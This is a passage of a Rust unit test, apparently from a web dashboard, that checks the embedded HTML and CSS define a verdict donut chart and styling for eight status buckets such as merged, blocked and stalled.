14996 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
14997 let buckets = [
14998 "merged",
14999 "ready",
15000 "in_progress",
15001 "blocked",
15002 "failed",
15003 "verified_noop",
15004 "superseded",
15005 "stalled",
15006 ];
15007 for key in buckets {
15008 let var = format!("--verdict-{key}:");
15009 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15011 assert!(
15012 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15013 "{key}"
15014 );
15015 }
15016 }
15017}